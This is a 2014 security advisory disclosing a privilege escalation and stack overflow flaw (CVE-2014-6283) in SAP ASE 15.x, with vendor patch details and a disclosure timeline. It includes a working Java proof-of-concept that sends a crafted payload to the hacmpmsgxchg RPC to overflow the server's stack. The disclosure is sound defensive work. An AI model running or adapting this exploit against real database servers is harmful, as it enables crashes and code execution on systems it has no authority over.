Trustwave SpiderLabs Security Advisory TWSL2014-013:
Privilege Escalation Vulnerability and Potential Remote Code Execution in
SAP Adaptive Server Enterprise

Published: 09/12/2014
Version: 1.0

Vendor: SAP (www.sap.com)
Product: SAP Adaptive Server Enterprise (ASE)
Version affected: 15.0, 15.5, 15.7

Product description:
Relational database management system for UNIX, Linux, and Microsoft Windows platforms.

Finding 1: Privilege Escalation due to SAP ASE missing authorization check and
potential remote code execution
Credit: Martin Rakhmanov of Trustwave SpiderLabs
CVE: CVE-2014-6283
CWE: CWE-264

SAP ASE does not properly verify permissions on certain built-in functions. One of the 
functions allows for master encryption key overwrite. Additionally it is susceptible to 
stack-based buffer overflow resulting in arbitrary code execution in the database server
process context.

Example for SAP ASE 15.7:

/*
* Adjust credentials and target host information in the code.
*
* Compile with:
*   javac sybase_ase_hacmpmsgxchg.java
* Run with (copy jconn4.jar to current directory from Sybase ASE installation):
*   java -cp jconn4.jar:. sybase_ase_hacmpmsgxchg
*
* Attach a debugger to the database process to observe stack overflow.
*/

import java.sql.*;
import java.util.Properties;

public class sybase_ase_hacmpmsgxchg
{
   private static String rpc_name = "hacmpmsgxchg";
   private static int option_id = 129;

   public static void main(String args[]) throws InstantiationException, ClassNotFoundException, IllegalAccessException, SQLException
   {
      Properties props = new Properties();

      // Put valid info here
      props.put("user", "DB_USER");
      props.put("password", "DB_PASSWORD");
      String url = "jdbc:sybase:Tds:DB_HOST:5000";

      Driver sybdriver = (Driver)Class.forName("com.sybase.jdbc4.jdbc.SybDriver").newInstance();
      DriverManager.registerDriver(sybdriver);
      Connection conn = DriverManager.getConnection(url, props);
      CallableStatement callablestatement = conn.prepareCall((new StringBuilder()).append("{?=call $").append(rpc_name).append("(?, ?)}").toString());

      byte[] message = new byte[2048];
      for(int i=0;i<message.length;i++)
      {
          message[i] = 0x41;
      }

      message[0] = 0x0;
      message[1] = 0x7;

      message[48] = 0x40;

      message[44] = 0x00;
      message[45] = 0x10;
      message[46] = 0x00;
      message[47] = 0x00;

      message[8] = 0x2;

      message[40] = 0x1;
      message[41] = 0x0;
      message[42] = 0x0;
      message[43] = 0x0;

      message[80] = 0x9;
      message[81] = 0x0;
      message[82] = 0x0;
      message[83] = 0x0;

      callablestatement.setBytes(2, message);
      callablestatement.setInt(3, option_id);
      callablestatement.executeUpdate();
      System.out.println("Done.");
   }
}


Remediation Steps:
No workarounds are currently available. Apply one of these following vendor supplied patches:
SAP ASE 15.7: apply SP122 or SP62
SAP ASE 15.5: apply ESD#5.4
SAP ASE 15.0.3: apply ESD#4.4
SAP ASE Cluster Edition 15.7: apply SP122 or SP62
SAP ASE Cluster Edition 15.5: apply ESD#5.4 

Revision History:
09/18/2013 - Vulnerability disclosed to vendor
05/12/2014 - Patch released by vendor
09/12/2014 - Advisory published


References
1. https://service.sap.com/sap/support/notes/2044220


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